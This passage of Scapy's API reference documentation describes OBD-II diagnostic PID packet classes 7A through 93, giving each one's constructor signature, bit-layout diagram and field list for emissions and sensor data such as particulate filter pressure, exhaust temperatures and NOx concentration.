+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| RESERVED|O|I|D|         DELTA PRESSURE        |PARTICULATE FIL|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |        OUTLET PRESSURE        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. OBD_PID7A                          


OBD_PID7A fields






	reserved

	BitField  (5 bits)

	0



	outlet_pressure_supported

	BitField  (1 bit)

	0



	inlet_pressure_supported

	BitField  (1 bit)

	0



	delta_pressure_supported

	BitField  (1 bit)

	0



	delta_pressure

	ScalingField

	0



	particulate_filter

	ScalingField

	0



	outlet_pressure

	ScalingField

	0















	
class scapy.contrib.automotive.obd.pid.pids_60_7F.OBD_PID7B(_pkt, /, *, reserved=0, outlet_pressure_supported=0, inlet_pressure_supported=0, delta_pressure_supported=0, delta_pressure=0, particulate_filter=0, outlet_pressure=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/obd/pid/pids_60_7F.py#L446-L447]

	Bases: _OBD_PID_DieselParticulateFilter


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| RESERVED|O|I|D|         DELTA PRESSURE        |PARTICULATE FIL|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |        OUTLET PRESSURE        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. OBD_PID7B                          


OBD_PID7B fields






	reserved

	BitField  (5 bits)

	0



	outlet_pressure_supported

	BitField  (1 bit)

	0



	inlet_pressure_supported

	BitField  (1 bit)

	0



	delta_pressure_supported

	BitField  (1 bit)

	0



	delta_pressure

	ScalingField

	0



	particulate_filter

	ScalingField

	0



	outlet_pressure

	ScalingField

	0















	
class scapy.contrib.automotive.obd.pid.pids_60_7F.OBD_PID7C(_pkt, /, *, reserved=0, bank2_outlet_temperature_supported=0, bank2_inlet_temperature_supported=0, bank1_outlet_temperature_supported=0, bank1_inlet_temperature_supported=0, bank1_inlet_temperature_sensor=0, bank1_outlet_temperature_sensor=0, bank2_inlet_temperature_sensor=0, bank2_outlet_temperature_sensor=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/obd/pid/pids_60_7F.py#L450-L466]

	Bases: OBD_Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|RESERVE|B|B|B|B| BANK1 INLET TEMPERATURE SENSOR|BANK1 OUTLET TE|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               | BANK2 INLET TEMPERATURE SENSOR|BANK2 OUTLET TE|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                          Fig. OBD_PID7C                          


OBD_PID7C fields






	reserved

	BitField  (4 bits)

	0



	bank2_outlet_temperature_supported

	BitField  (1 bit)

	0



	bank2_inlet_temperature_supported

	BitField  (1 bit)

	0



	bank1_outlet_temperature_supported

	BitField  (1 bit)

	0



	bank1_inlet_temperature_supported

	BitField  (1 bit)

	0



	bank1_inlet_temperature_sensor

	ScalingField

	0



	bank1_outlet_temperature_sensor

	ScalingField

	0



	bank2_inlet_temperature_sensor

	ScalingField

	0



	bank2_outlet_temperature_sensor

	ScalingField

	0















	
class scapy.contrib.automotive.obd.pid.pids_60_7F.OBD_PID7D(_pkt, /, *, reserved=0, nte_deficiency_for_nox_active_area=0, inside_manufacturer_specific_nox_nte_carve_out_area=0, outside=0, inside=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/obd/pid/pids_60_7F.py#L469-L477]

	Bases: OBD_Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|RESERVE|N|I|O|I|
+-+-+-+-+-+-+-+-+

                          Fig. OBD_PID7D                          


OBD_PID7D fields






	reserved

	BitField  (4 bits)

	0



	nte_deficiency_for_nox_active_area

	BitField  (1 bit)

	0



	inside_manufacturer_specific_nox_nte_carve_out_area

	BitField  (1 bit)

	0



	outside

	BitField  (1 bit)

	0



	inside

	BitField  (1 bit)

	0















	
class scapy.contrib.automotive.obd.pid.pids_60_7F.OBD_PID7E(_pkt, /, *, reserved=0, nte_deficiency_for_pm_active_area=0, inside_manufacturer_specific_pm_nte_carve_out_area=0, outside=0, inside=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/obd/pid/pids_60_7F.py#L480-L488]

	Bases: OBD_Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|RESERVE|N|I|O|I|
+-+-+-+-+-+-+-+-+

                          Fig. OBD_PID7E                          


OBD_PID7E fields






	reserved

	BitField  (4 bits)

	0



	nte_deficiency_for_pm_active_area

	BitField  (1 bit)

	0



	inside_manufacturer_specific_pm_nte_carve_out_area

	BitField  (1 bit)

	0



	outside

	BitField  (1 bit)

	0



	inside

	BitField  (1 bit)

	0















	
class scapy.contrib.automotive.obd.pid.pids_60_7F.OBD_PID7F(_pkt, /, *, reserved=0, total_with_pto_active_supported=0, total_idle_supported=0, total_supported=0, total=0, total_idle=0, total_with_pto_active=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/obd/pid/pids_60_7F.py#L491-L501]

	Bases: OBD_Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| RESERVED|T|T|T|                     TOTAL                     |
+-+-+-+-+-+-+-+-+                                               +
|                                                               |
+               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                   TOTAL IDLE                  |
+-+-+-+-+-+-+-+-+                                               +
|                                                               |
+               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |             TOTAL WITH PTO ACTIVE             |
+-+-+-+-+-+-+-+-+                                               +
|                                                               |
+               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                          Fig. OBD_PID7F                          


OBD_PID7F fields






	reserved

	BitField  (5 bits)

	0



	total_with_pto_active_supported

	BitField  (1 bit)

	0



	total_idle_supported

	BitField  (1 bit)

	0



	total_supported

	BitField  (1 bit)

	0



	total

	ScalingField

	0



	total_idle

	ScalingField

	0



	total_with_pto_active

	ScalingField

	0

















            

          

      

      

    

  

    
      
          
            
  
scapy.contrib.automotive.obd.pid.pids_80_9F


	
class scapy.contrib.automotive.obd.pid.pids_80_9F.OBD_PID80(_pkt, /, *, supported_pids=<Flag 0 ()>)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/obd/pid/pids_80_9F.py#L16-L53]

	Bases: OBD_Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                         SUPPORTED PIDS                        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. OBD_PID80                          


OBD_PID80 fields






	supported_pids

	FlagsField

	<Flag 0 ()>















	
class scapy.contrib.automotive.obd.pid.pids_80_9F.OBD_PID81(_pkt, /, *, reserved=0, total_run_time_with_ei_aecd5_supported=0, total_run_time_with_ei_aecd4_supported=0, total_run_time_with_ei_aecd3_supported=0, total_run_time_with_ei_aecd2_supported=0, total_run_time_with_ei_aecd1_supported=0, total_run_time_with_ei_aecd1=0, total_run_time_with_ei_aecd2=0, total_run_time_with_ei_aecd3=0, total_run_time_with_ei_aecd4=0, total_run_time_with_ei_aecd5=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/obd/pid/pids_80_9F.py#L56-L75]

	Bases: OBD_Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|RESER|T|T|T|T|T|          TOTAL RUN TIME WITH EI AECD1         |
+-+-+-+-+-+-+-+-+                                               +
|                                                               |
+               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |          TOTAL RUN TIME WITH EI AECD2         |
+-+-+-+-+-+-+-+-+                                               +
|                                                               |
+               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |          TOTAL RUN TIME WITH EI AECD3         |
+-+-+-+-+-+-+-+-+                                               +
|                                                               |
+               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |          TOTAL RUN TIME WITH EI AECD4         |
+-+-+-+-+-+-+-+-+                                               +
|                                                               |
+               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |          TOTAL RUN TIME WITH EI AECD5         |
+-+-+-+-+-+-+-+-+                                               +
|                                                               |
+               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                          Fig. OBD_PID81                          


OBD_PID81 fields






	reserved

	BitField  (3 bits)

	0



	total_run_time_with_ei_aecd5_supported

	BitField  (1 bit)

	0



	total_run_time_with_ei_aecd4_supported

	BitField  (1 bit)

	0



	total_run_time_with_ei_aecd3_supported

	BitField  (1 bit)

	0



	total_run_time_with_ei_aecd2_supported

	BitField  (1 bit)

	0



	total_run_time_with_ei_aecd1_supported

	BitField  (1 bit)

	0



	total_run_time_with_ei_aecd1

	ScalingField

	0



	total_run_time_with_ei_aecd2

	ScalingField

	0



	total_run_time_with_ei_aecd3

	ScalingField

	0



	total_run_time_with_ei_aecd4

	ScalingField

	0



	total_run_time_with_ei_aecd5

	ScalingField

	0















	
class scapy.contrib.automotive.obd.pid.pids_80_9F.OBD_PID82(_pkt, /, *, reserved=0, total_run_time_with_ei_aecd10_supported=0, total_run_time_with_ei_aecd9_supported=0, total_run_time_with_ei_aecd8_supported=0, total_run_time_with_ei_aecd7_supported=0, total_run_time_with_ei_aecd6_supported=0, total_run_time_with_ei_aecd6=0, total_run_time_with_ei_aecd7=0, total_run_time_with_ei_aecd8=0, total_run_time_with_ei_aecd9=0, total_run_time_with_ei_aecd10=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/obd/pid/pids_80_9F.py#L78-L97]

	Bases: OBD_Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|RESER|T|T|T|T|T|          TOTAL RUN TIME WITH EI AECD6         |
+-+-+-+-+-+-+-+-+                                               +
|                                                               |
+               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |          TOTAL RUN TIME WITH EI AECD7         |
+-+-+-+-+-+-+-+-+                                               +
|                                                               |
+               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |          TOTAL RUN TIME WITH EI AECD8         |
+-+-+-+-+-+-+-+-+                                               +
|                                                               |
+               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |          TOTAL RUN TIME WITH EI AECD9         |
+-+-+-+-+-+-+-+-+                                               +
|                                                               |
+               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |         TOTAL RUN TIME WITH EI AECD10         |
+-+-+-+-+-+-+-+-+                                               +
|                                                               |
+               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                          Fig. OBD_PID82                          


OBD_PID82 fields






	reserved

	BitField  (3 bits)

	0



	total_run_time_with_ei_aecd10_supported

	BitField  (1 bit)

	0



	total_run_time_with_ei_aecd9_supported

	BitField  (1 bit)

	0



	total_run_time_with_ei_aecd8_supported

	BitField  (1 bit)

	0



	total_run_time_with_ei_aecd7_supported

	BitField  (1 bit)

	0



	total_run_time_with_ei_aecd6_supported

	BitField  (1 bit)

	0



	total_run_time_with_ei_aecd6

	ScalingField

	0



	total_run_time_with_ei_aecd7

	ScalingField

	0



	total_run_time_with_ei_aecd8

	ScalingField

	0



	total_run_time_with_ei_aecd9

	ScalingField

	0



	total_run_time_with_ei_aecd10

	ScalingField

	0















	
class scapy.contrib.automotive.obd.pid.pids_80_9F.OBD_PID83(_pkt, /, *, reserved=0, nox_sensor_concentration_bank2_sensor1_supported=0, nox_sensor_concentration_bank1_sensor1_supported=0, nox_sensor_concentration_bank1_sensor1=0, nox_sensor_concentration_bank2_sensor1=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/obd/pid/pids_80_9F.py#L100-L110]

	Bases: OBD_Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|  RESERVED |N|N|NOX SENSOR CONCENTRATION BANK1 |NOX SENSOR CONC|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                          Fig. OBD_PID83                          


OBD_PID83 fields






	reserved

	BitField  (6 bits)

	0



	nox_sensor_concentration_bank2_sensor1_supported

	BitField  (1 bit)

	0



	nox_sensor_concentration_bank1_sensor1_supported

	BitField  (1 bit)

	0



	nox_sensor_concentration_bank1_sensor1

	ScalingField

	0



	nox_sensor_concentration_bank2_sensor1

	ScalingField

	0















	
class scapy.contrib.automotive.obd.pid.pids_80_9F.OBD_PID84(_pkt, /, *, data=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/obd/pid/pids_80_9F.py#L113-L117]

	Bases: OBD_Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      DATA     |
+-+-+-+-+-+-+-+-+

                          Fig. OBD_PID84                          


OBD_PID84 fields






	data

	StrFixedLenField

	b''















	
class scapy.contrib.automotive.obd.pid.pids_80_9F.OBD_PID85(_pkt, /, *, data=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/obd/pid/pids_80_9F.py#L120-L124]

	Bases: OBD_Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              DATA                             |
+                                                               +
|                                                               |
+                               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. OBD_PID85                          


OBD_PID85 fields






	data

	StrFixedLenField

	b''















	
class scapy.contrib.automotive.obd.pid.pids_80_9F.OBD_PID86(_pkt, /, *, data=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/obd/pid/pids_80_9F.py#L127-L131]

	Bases: OBD_Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              DATA                             |
+               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                          Fig. OBD_PID86                          


OBD_PID86 fields






	data

	StrFixedLenField

	b''















	
class scapy.contrib.automotive.obd.pid.pids_80_9F.OBD_PID87(_pkt, /, *, data=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/obd/pid/pids_80_9F.py#L134-L138]

	Bases: OBD_Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              DATA                             |
+               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                          Fig. OBD_PID87                          


OBD_PID87 fields






	data

	StrFixedLenField

	b''















	
class scapy.contrib.automotive.obd.pid.pids_80_9F.OBD_PID88(_pkt, /, *, data=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/obd/pid/pids_80_9F.py#L141-L145]

	Bases: OBD_Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              DATA                             |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                          Fig. OBD_PID88                          


OBD_PID88 fields






	data

	StrFixedLenField

	b''















	
class scapy.contrib.automotive.obd.pid.pids_80_9F.OBD_PID89(_pkt, /, *, data=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/obd/pid/pids_80_9F.py#L148-L153]

	Bases: OBD_Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              DATA                             |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                          Fig. OBD_PID89                          


OBD_PID89 fields






	data

	StrFixedLenField

	b''















	
class scapy.contrib.automotive.obd.pid.pids_80_9F.OBD_PID8A(_pkt, /, *, data=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/obd/pid/pids_80_9F.py#L156-L161]

	Bases: OBD_Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              DATA                             |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                          Fig. OBD_PID8A                          


OBD_PID8A fields






	data

	StrFixedLenField

	b''















	
class scapy.contrib.automotive.obd.pid.pids_80_9F.OBD_PID8B(_pkt, /, *, data=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/obd/pid/pids_80_9F.py#L164-L168]

	Bases: OBD_Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              DATA                             |
+                                               +-+-+-+-+-+-+-+-+
|                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. OBD_PID8B                          


OBD_PID8B fields






	data

	StrFixedLenField

	b''















	
class scapy.contrib.automotive.obd.pid.pids_80_9F.OBD_PID8C(_pkt, /, *, data=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/obd/pid/pids_80_9F.py#L171-L175]

	Bases: OBD_Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              DATA                             |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. OBD_PID8C                          


OBD_PID8C fields






	data

	StrFixedLenField

	b''















	
class scapy.contrib.automotive.obd.pid.pids_80_9F.OBD_PID8D(_pkt, /, *, data=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/obd/pid/pids_80_9F.py#L178-L182]

	Bases: OBD_Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      DATA     |
+-+-+-+-+-+-+-+-+

                          Fig. OBD_PID8D                          


OBD_PID8D fields






	data

	StrFixedLenField

	b''















	
class scapy.contrib.automotive.obd.pid.pids_80_9F.OBD_PID8E(_pkt, /, *, data=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/obd/pid/pids_80_9F.py#L185-L189]

	Bases: OBD_Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      DATA     |
+-+-+-+-+-+-+-+-+

                          Fig. OBD_PID8E                          


OBD_PID8E fields






	data

	StrFixedLenField

	b''















	
class scapy.contrib.automotive.obd.pid.pids_80_9F.OBD_PID8F(_pkt, /, *, data=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/obd/pid/pids_80_9F.py#L192-L196]

	Bases: OBD_Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              DATA                             |
+               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                          Fig. OBD_PID8F                          


OBD_PID8F fields






	data

	StrFixedLenField

	b''















	
class scapy.contrib.automotive.obd.pid.pids_80_9F.OBD_PID90(_pkt, /, *, data=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/obd/pid/pids_80_9F.py#L199-L203]

	Bases: OBD_Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                      DATA                     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. OBD_PID90                          


OBD_PID90 fields






	data

	StrFixedLenField

	b''















	
class scapy.contrib.automotive.obd.pid.pids_80_9F.OBD_PID91(_pkt, /, *, data=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/obd/pid/pids_80_9F.py#L206-L210]

	Bases: OBD_Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              DATA                             |
+               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                          Fig. OBD_PID91                          


OBD_PID91 fields






	data

	StrFixedLenField

	b''















	
class scapy.contrib.automotive.obd.pid.pids_80_9F.OBD_PID92(_pkt, /, *, data=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/obd/pid/pids_80_9F.py#L213-L217]

	Bases: OBD_Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              DATA             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. OBD_PID92                          


OBD_PID92 fields






	data

	StrFixedLenField

	b''















	
class scapy.contrib.automotive.obd.pid.pids_80_9F.OBD_PID93(_pkt, /, *, data=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/obd/pid/pids_80_9F.py#L220-L224]

	Bases: OBD_Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                      DATA                     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. OBD_PID93                          


OBD_PID93 fields






	data

	StrFixedLenField

	b''















	
